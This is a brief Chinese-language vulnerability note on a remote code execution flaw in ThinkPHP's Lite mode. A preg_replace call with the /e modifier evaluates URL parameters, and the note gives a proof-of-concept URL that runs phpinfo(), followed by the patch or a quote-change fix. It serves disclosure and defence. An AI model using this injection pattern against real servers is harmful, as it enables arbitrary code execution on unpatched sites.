在開啟了Lite模式后,在ThinkPHP/extend/Mode/Lite/Dispatcher.class.php中第73行:
// 解析剩余的URL參數
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=“\\2\;”', implode($depr,$paths));
有兩點:一是加入了preg_replace使用了e修飾符,二是'$var[\'\\1\']="\\2\;"'中雙引號中的PHP代碼可以直接被執行。
比如:
http://localhost/index.php/Index/index/name/$%7B@phpinfo%28%29%7D
就會執行phpinfo()函數,打印出phpinfo頁。
預防:
官方已經給出了補丁,也可以自行將雙引號改成單引號防止PHP代碼被解析。